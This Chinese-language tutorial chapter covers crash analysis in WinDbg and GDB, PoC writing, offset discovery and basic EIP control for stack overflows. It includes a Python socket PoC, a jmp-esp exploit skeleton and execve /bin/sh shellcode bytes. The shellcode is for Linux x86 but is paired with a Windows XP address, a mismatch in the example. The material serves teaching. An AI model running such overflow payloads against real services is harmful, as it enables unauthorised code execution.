漏洞挖掘基础(下):Crash分析、PoC编写与利用入门

好,咱们接着聊漏洞挖掘的下半场。上一章我们讲了怎么找到可疑的崩溃点,这一章就来说说——拿到Crash之后,怎么分析它,怎么写出能稳定触发的PoC,以及怎么迈出利用的第一步:控制EIP/RIP。

说实话,很多人卡在这一步。漏洞找到了,Crash也崩了,但一看Windbg的输出就懵了。嗯,别急,我带你一步步拆解。

一、Crash分析:Windbg与GDB实战

Crash分析说白了就三件事:看崩溃在哪、看谁干的、看能不能控。我个人习惯先用Windbg(Windows)或GDB(Linux)挂上目标进程,等它崩了再分析。

1.1 Windbg基础命令

Windbg是Windows下逆向的标配。我当年第一次用它分析一个堆溢出,崩得稀里哗啦,但用对命令后,几分钟就定位到了问题。

常用命令速查:

命令 作用 我的经验
!analyze -v 自动分析Crash原因 第一件事就跑这个,能省80%时间
kb 显示调用栈 看崩溃时函数调用链
r eip / r rip 查看当前指令指针 判断是否被控制的关键
dd / da / du 查看内存数据 检查崩溃地址附近的内容
.exr -1 显示异常记录 看异常类型和地址

举个例子,假设你看到一个Crash:

0:000> !analyze -v
FAULTING_IP: 
image00400000+0x1234
mov eax, [ecx]  ; ecx=0x41414141

EXCEPTION_RECORD:  (.exr -1)
ExceptionAddress: 00401234
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
  Parameter[0]: 00000000 (读取操作)
  Parameter[1]: 41414141 (目标地址)

看到没?ecx=0x41414141,这明显是输入数据覆盖了寄存器。我遇到这种情况,基本可以断定:这是一个可控的Crash

核心判断标准:如果崩溃地址或寄存器值包含你输入的数据(如0x41414141即"AAAA"),说明你有可能控制执行流。

1.2 GDB下的Crash分析

Linux下用GDB,思路一样,命令不同。我习惯这样操作:

$ gdb ./vuln_program
(gdb) run < payload.txt
Program received signal SIGSEGV, Segmentation fault.
0x08048456 in func () at vuln.c:15
15    strcpy(buffer, input);

(gdb) info registers eip
eip            0x41414141    0x41414141

(gdb) x/10x $esp
0xbffff2c0:     0x41414141  0x41414141  0x41414141  0x08048400
0xbffff2d0:     0xb7e2a000  0x00000000  0x00000000  0x00000000

这里EIP已经是0x41414141了。说白了,我们已经控制了指令指针。接下来要做的,就是精确控制它跳转到我们想要的地方。

我的小技巧:分析Crash时,先看异常类型。Access Violation(c0000005)最常见,但如果是c0000094(除零)或c000001d(非法指令),那可能是其他问题,别急着往溢出方向想。

二、编写简单的PoC

PoC(Proof of Concept)就是能稳定触发漏洞的样本。我见过很多人写PoC时图省事,结果换个环境就崩不出来了。嗯,这里有几个要点。

2.1 PoC的基本结构

一个标准的PoC通常包含:

  • 触发数据:能导致Crash的输入
  • 环境配置:目标版本、OS、依赖库
  • 预期结果:崩溃的形态(EIP值、异常类型)
  • 复现步骤:让别人也能跑出来

举个例子,一个简单的缓冲区溢出PoC:

# PoC for CVE-202X-XXXX
# 目标: vuln_server 1.2.3
# 效果: 控制EIP为0x41414141

import socket

def exploit():
    # 构造payload: 200字节'A' + 4字节'B'覆盖EIP
    payload = b"A" * 200 + b"BBBB"
    
    s = socket.socket()
    s.connect(("192.168.1.100", 9999))
    s.send(payload)
    s.close()
    print("[+] PoC sent. Check target for crash.")

if __name__ == "__main__":
    exploit()

这个PoC很简单,但够用。发送后目标如果崩在0x42424242,说明我们控制了EIP。

注意:PoC不是Expolit!PoC只证明漏洞存在,不一定要实现代码执行。我曾经见过有人把PoC写得跟完整利用一样,结果被厂商告了……别干这种事。

2.2 确定偏移量

控制EIP的关键是知道偏移量——你的输入数据中,哪几个字节覆盖了EIP。我推荐两种方法:

  1. 模式串法:用pattern_create.rb(Metasploit工具)生成不重复的字符串,看EIP中的值对应哪个偏移。
  2. 二分法:手动调整输入长度,逐步缩小范围。

举个例子,用模式串法:

$ pattern_create.rb -l 300
Aa0Aa1Aa2Aa3Aa4Aa5... (省略)

# 在Windbg中看到EIP = 0x39654138
$ pattern_offset.rb -q 0x39654138
[*] Exact match at offset 204

偏移204字节,意味着前204字节填充任意数据,第205-208字节就是新的EIP。这个数字我记了很多年——204、208、216,常见的栈溢出偏移。

三、漏洞利用基础:控制EIP/RIP

控制EIP之后,理论上你可以让程序执行任意代码。但实际没那么简单,有几个坎要过。

3.1 控制EIP意味着什么

EIP(或RIP)是CPU的指令指针。它指向哪,CPU就执行哪。所以:

  • 如果你让EIP=0x41414141,CPU会尝试执行地址0x41414141处的代码——大概率崩掉。
  • 如果你让EIP指向一个有效的地址(比如jmp esp指令的地址),并且那个地址后面是你的shellcode,那就能执行你的代码。

这就是控制流劫持的基本原理。我当年第一次成功控制EIP时,兴奋得差点把咖啡洒键盘上。

3.2 寻找跳转指令

控制EIP后,我们需要一个跳板。最常见的跳板是jmp esp(x86)或jmp rsp(x64)。为什么?因为函数返回时,ESP/RSP通常指向我们输入数据的剩余部分。

找跳板的方法:

# 在Windbg中搜索jmp esp (0xFFE4)
0:000> s 0 L?7fffffff 0xff 0xe4
00401234  ff e4  jmp esp

# 在GDB中搜索
(gdb) find /b 0x08048000, 0x08049000, 0xff, 0xe4
0x08048456

找到地址后,把EIP覆盖成这个地址,然后在ESP指向的位置放上shellcode。嗯,说起来简单,但实际中还要考虑ASLR、DEP等保护机制。

一句话总结利用流程:填充数据 + 覆盖EIP为跳板地址 + 跳板后跟shellcode = 代码执行。

3.3 一个完整的利用雏形

下面是一个最简单的栈溢出利用框架:

# 假设偏移204,jmp esp地址0x7c86467b(Windows XP SP3的kernel32.dll)
shellcode = b"\x90" * 16  # NOP sled
shellcode += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"  # execve /bin/sh

payload = b"A" * 204        # 填充
payload += b"\x7b\x46\x86\x7c"  # jmp esp地址(小端序)
payload += shellcode         # 最终执行的代码

# 发送payload...

这个payload发出去,如果目标没有保护机制,你应该能拿到一个shell。当然,现实中的漏洞利用要复杂得多——绕过ASLR、DEP、CFG……但那是后面章节的内容了。

避坑指南:我曾经在写PoC时,偏移算对了,跳板地址也对了,但就是崩。后来发现是shellcode里有坏字符(比如0x00、0x0a)。记住:先检查坏字符,再写利用

四、本章知识体系

下面这张图总结了Crash分析到利用的完整流程,我建议你保存下来对照着学:

Crash分析 → PoC编写 → 利用入门 流程 1. Crash分析 Windbg / GDB 看异常类型 查EIP/RIP 看调用栈 2. PoC编写 稳定触发漏洞 确定偏移 构造payload 验证Crash 3. 利用入门 控制EIP/RIP 找跳板地址 构造shellcode 测试执行 关键判断 EIP是否可控? 是 → 继续利用 注意:实际利用还需考虑ASLR、DEP、CFG等保护机制

这张图把整个流程串起来了。从Crash分析开始,到PoC编写,再到利用入门,每一步都有明确的输入和输出。我个人建议你按照这个流程来练习,先拿一些已知漏洞的PoC练手,再尝试自己分析0day。

好了,这一章的内容就到这里。Crash分析是基本功,PoC编写是手艺活,控制EIP是入门砖。把这些练熟了,后面的漏洞利用技术才能学得扎实。


公众号:蓝海资料掘金营,微信deep3321